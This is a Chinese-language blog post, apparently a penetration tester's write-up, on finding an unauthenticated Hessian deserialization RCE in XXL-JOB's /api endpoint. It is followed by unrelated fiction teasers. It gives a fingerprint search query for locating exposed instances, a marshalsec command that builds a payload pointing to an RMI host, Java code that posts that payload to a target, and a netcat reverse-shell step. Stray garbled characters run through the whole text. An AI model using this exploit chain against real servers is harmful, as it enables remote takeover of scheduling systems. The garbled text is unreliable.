一次代碼審計到RCE的實戰(zhàn)滲透案例

某次做項目的時候遇到了XXL-JOB咏雌,當(dāng)時并未公開任何xxl-job的漏洞换团,于是有了下面的代碼審計悉稠,找到一處API接口的RCE,拿下一個嚴(yán)重漏洞艘包。

一的猛、XXL-JOB簡介

XXL-JOB是一個分布式任務(wù)調(diào)度平臺耀盗,其核心設(shè)計目標(biāo)是開發(fā)迅速、學(xué)習(xí)簡單卦尊、輕量級叛拷、易擴(kuò)展。現(xiàn)已開放源代碼并接入多家公司線上產(chǎn)品線岂却,開箱即用忿薇。簡單來說,xxl-job用于管理分布式任務(wù)躏哩,若任務(wù)的管理功能出現(xiàn)未授權(quán)訪問煌恢,將造成相當(dāng)大的影響。

二震庭、代碼審計

1.下載xxl-job的源碼瑰抵,查看項目的開發(fā)框架、根據(jù)框架特性查找所有的API接口

訪問xxl-job項目地址 器联,查看項目信息:Java語言開發(fā)二汛、maven項目

直接下載并使用IDEA打開,如下:

根據(jù)pom.xml文件內(nèi)容可以確定拨拓,項目中使用了Spring肴颊、FreemarkerJackson渣磷、Hessian婿着、MyBatis等組件,可以先將上述組件涉及的漏洞列入代碼審計的重點排查對象醋界,包括:EL注入竟宋、模板注入反序列化漏洞形纺、Sql注入

因為該項目使用的是Spring框架丘侠,因此直接利用Spring注解查找API接口:@(.*?)Mapping\(

根據(jù)查找到的接口梳理出API地址

/
/toLogin
/login
/logout
/help
/api
/jobcode
/jobcode/save
/jobgroup
/jobgroup/save
/jobgroup/update
/jobgroup/remove
/jobinfo
/jobinfo/pageList
/jobinfo/add
/jobinfo/reschedule
/jobinfo/remove
/jobinfo/pause
/jobinfo/resume
/jobinfo/trigger
/joblog
/joblog/getJobsByGroup
/joblog/pageList
/joblog/logDetailPage
/joblog/logDetailCat
/joblog/logKill
/joblog/clearLog

利用dirsearch掃描目標(biāo),查找可未授權(quán)訪問的API接口逐样,找到/api接口

2.利用找到的API接口蜗字,F(xiàn)UZZ目標(biāo)網(wǎng)站,根據(jù)響應(yīng)判斷版本并進(jìn)行代碼審計

在本地啟動xxl-job項目脂新,根據(jù)API接口列表和接口的響應(yīng)判斷出目標(biāo)系統(tǒng)使用1.81.9版本的系統(tǒng)挪捕,于是切換至1.8版本的代碼開始審計。

代碼審計的三種方法:

  • 通讀源碼分析漏洞
  • 定向功能分析
  • 函數(shù)回溯法

針對通用漏洞争便,第三種方法效率最高级零,利用此方法時,通常搭配白盒工具或代碼編輯器進(jìn)行輔助始花,大概思路是根據(jù)危險方法(Sink方法)反向查找妄讯,判斷sink方法的參數(shù)是否用戶可控;

該方法的核心在于掌握的漏洞觸發(fā)點(sink方法)酷宵,白盒/灰盒相關(guān)工具的實現(xiàn)原理也大都基于函數(shù)回溯法亥贸,因此,白盒的效果基本上都取決于策略浇垦,由于篇幅原因炕置,代碼審計/灰白盒相關(guān)內(nèi)容只做拋磚引玉,不做詳細(xì)介紹男韧。

xxl-job代碼審計List:

  • Spring框架導(dǎo)致反序列化
  • Freemarker模板注入
  • Jackson組件反序列化
  • Hessian組件導(dǎo)致反序列化
  • MyBatis導(dǎo)致Sql注入

根據(jù)第一步對API接口的查找朴摊,發(fā)現(xiàn)API接口位于xxl-job-admin模塊中,可從xxl-job-admin入手此虑;這里甚纲,我直接在整個項目中搜索@RequestBody,查找可能導(dǎo)致反序列化的API接口朦前,沒有發(fā)現(xiàn)

接下來介杆,查找InputStream接口相關(guān)的反序列化漏洞,直接搜索readObject()韭寸,尋找是否存在該方法的調(diào)用

找到HessianSerializer類中存在對HessianInputreadObject()方法的調(diào)用春哨,接下來,查找參數(shù)bytes是否外部可控恩伺,于是赴背,查找調(diào)用deserialize方法的代碼

共找到三處調(diào)用,分別是:

  • xxl-job-core模塊中的com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler#doInvoke方法
  • xxl-job-core模塊中的com.xxl.job.core.rpc.netcom.jetty.client.JettyClient#send方法
  • xxl-job-admin模塊中的com.xxl.job.admin.controller.JobApiController#doInvoke方法

由于目標(biāo)系統(tǒng)只對外開放了xxl-job-admin模塊中的WEB服務(wù)晶渠,因此凰荚,這里以第三處調(diào)用為例進(jìn)行分析,其他兩處調(diào)用可自行跟蹤分析褒脯,均可找到相關(guān)的漏洞浇揩;

查看com.xxl.job.admin.controller.JobApiController#doInvoke方法的詳情,如下:

private RpcResponse doInvoke(HttpServletRequest request) {
  try {
    // deserialize request
    byte[] requestBytes = HttpClientUtil.readBytes(request);
    if (requestBytes == null || requestBytes.length==0) {
      RpcResponse rpcResponse = new RpcResponse();
      rpcResponse.setError("RpcRequest byte[] is null");
      return rpcResponse;
    }
    RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);

    // invoke
    RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
    return rpcResponse;
  } catch (Exception e) {
    logger.error(e.getMessage(), e);

    RpcResponse rpcResponse = new RpcResponse();
    rpcResponse.setError("Server-error:" + e.getMessage());
    return rpcResponse;
  }
}

上述代碼中憨颠,首先利用HttpClientUtil#readBytes從request請求中獲取byte數(shù)組格式的POST數(shù)據(jù)胳徽,然后驗證byte數(shù)組是否為空,不為空時爽彤,調(diào)用deserialize方法觸發(fā)Hessian的反序列化养盗;

繼續(xù)跟進(jìn)com.xxl.job.admin.controller.JobApiController#doInvoke方法的調(diào)用,找到JobApiController#api方法适篙,該方法中直接將HttpServletRequest對象傳入doInvoke方法往核,未進(jìn)行身份驗證,可直接利用/api接口發(fā)送Hessian反序列化payload實現(xiàn)RCE嚷节。

@RequestMapping(AdminBiz.MAPPING)
@PermessionLimit(limit=false)
public void api(HttpServletRequest request, HttpServletResponse response) throws IOException {

  // invoke
  RpcResponse rpcResponse = doInvoke(request);

  // serialize response
  byte[] responseBytes = HessianSerializer.serialize(rpcResponse);

  response.setContentType("text/html;charset=utf-8");
  response.setStatus(HttpServletResponse.SC_OK);
  //baseRequest.setHandled(true);

  OutputStream out = response.getOutputStream();
  out.write(responseBytes);
  out.flush();
}

三聂儒、火器查找資產(chǎn)的姿勢

發(fā)現(xiàn)該漏洞后虎锚,為了快速找到相關(guān)的資產(chǎn),需要整理指紋衩婚,直接訪問/api接口發(fā)現(xiàn)響應(yīng)如下:

于是窜护,在火器中搜索HTTP響應(yīng)體,即可找到相關(guān)的資產(chǎn)非春,搜索語法:request.body:"com.xxl.job.core.rpc.codec.RpcResponseS"柱徙。

四、漏洞利用

此處反序列化漏洞利用需要以下內(nèi)容(以下內(nèi)容均可在火器中直接使用):

  • marshalsec工具
  • RMI/LDAP服務(wù)奇昙,用于JNDI調(diào)用
  • HTTP服務(wù)护侮,存放惡意class文件
  • VPS服務(wù)器,用于接收反彈shell

marshalsec中包含Hessian的反序列化payload储耐,直接使用marshalsec創(chuàng)建LDAP的反序列化payload

$ java -cp marshalsec-0.0.3.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder "rmi://xxx:1099/Exploit_c844e9060158632367e62ed5f6103b36" > /tmp/d.payload

打開xxl-job-admin模塊中的單元測試文件com.xxl.job.dao.impl.AdminBizTest羊初,修改addressUrl地址為目標(biāo)系統(tǒng)地址

在該文件中添加以下方法,用于發(fā)送payload觸發(fā)漏洞

@Test
public void xxlJobRce() {
  try {
    byte[] data = getContent("/tmp/d.payload");

    ByteArrayInputStream is = new ByteArrayInputStream(data);
    HessianInput hi = new HessianInput(is);
    hi.readObject();
    hi.close();

    byte[] responseBytes = HttpClientUtil.postRequest(addressUrl, data);
    if (responseBytes == null || responseBytes.length == 0) {
      ;
    }

  } catch (Exception e) {
    e.printStackTrace();
    System.out.println("反序列化過程出錯什湘,錯誤原因:" + e);
  }
}

public byte[] getContent(String filePath) throws IOException {
  File file = new File(filePath);
  long fileSize = file.length();
  if (fileSize > Integer.MAX_VALUE) {
    System.out.println("file too big...");
    return null;
  }
  FileInputStream fi = new FileInputStream(file);
  byte[] buffer = new byte[(int) fileSize];
  int offset = 0;
  int numRead = 0;
  while (offset < buffer.length
         && (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
    offset += numRead;
  }
  // 確保所有數(shù)據(jù)均被讀取
  if (offset != buffer.length) {
    throw new IOException("Could not completely read file "
                          + file.getName());
  }
  fi.close();
  return buffer;
}

在vps上開啟nc監(jiān)聽7777端口凳忙,拿到shell

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市禽炬,隨后出現(xiàn)的幾起案子涧卵,更是在濱河造成了極大的恐慌,老刑警劉巖腹尖,帶你破解...
    沈念sama閱讀 218,607評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件柳恐,死亡現(xiàn)場離奇詭異,居然都是意外死亡热幔,警方通過查閱死者的電腦和手機(jī)乐设,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,239評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來绎巨,“玉大人近尚,你說我怎么就攤上這事〕∏冢” “怎么了戈锻?”我有些...
    開封第一講書人閱讀 164,960評論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長和媳。 經(jīng)常有香客問我格遭,道長,這世上最難降的妖魔是什么留瞳? 我笑而不...
    開封第一講書人閱讀 58,750評論 1 294
  • 正文 為了忘掉前任拒迅,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘璧微。我一直安慰自己作箍,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,764評論 6 392
  • 文/花漫 我一把揭開白布前硫。 她就那樣靜靜地躺著胞得,像睡著了一般。 火紅的嫁衣襯著肌膚如雪开瞭。 梳的紋絲不亂的頭發(fā)上懒震,一...
    開封第一講書人閱讀 51,604評論 1 305
  • 那天罩息,我揣著相機(jī)與錄音嗤详,去河邊找鬼。 笑死瓷炮,一個胖子當(dāng)著我的面吹牛葱色,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播娘香,決...
    沈念sama閱讀 40,347評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼苍狰,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了烘绽?” 一聲冷哼從身側(cè)響起淋昭,我...
    開封第一講書人閱讀 39,253評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎安接,沒想到半個月后翔忽,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,702評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡盏檐,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,893評論 3 336
  • 正文 我和宋清朗相戀三年歇式,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片胡野。...
    茶點故事閱讀 40,015評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡材失,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出硫豆,到底是詐尸還是另有隱情龙巨,我是刑警寧澤,帶...
    沈念sama閱讀 35,734評論 5 346
  • 正文 年R本政府宣布熊响,位于F島的核電站恭应,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏耘眨。R本人自食惡果不足惜昼榛,卻給世界環(huán)境...
    茶點故事閱讀 41,352評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧胆屿,春花似錦奥喻、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,934評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至憎兽,卻和暖如春冷离,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背纯命。 一陣腳步聲響...
    開封第一講書人閱讀 33,052評論 1 270
  • 我被黑心中介騙來泰國打工西剥, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人亿汞。 一個月前我還...
    沈念sama閱讀 48,216評論 3 371
  • 正文 我出身青樓瞭空,卻偏偏與公主長得像,于是被迫代替她去往敵國和親疗我。 傳聞我的和親對象是個殘疾皇子咆畏,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,969評論 2 355

推薦閱讀更多精彩內(nèi)容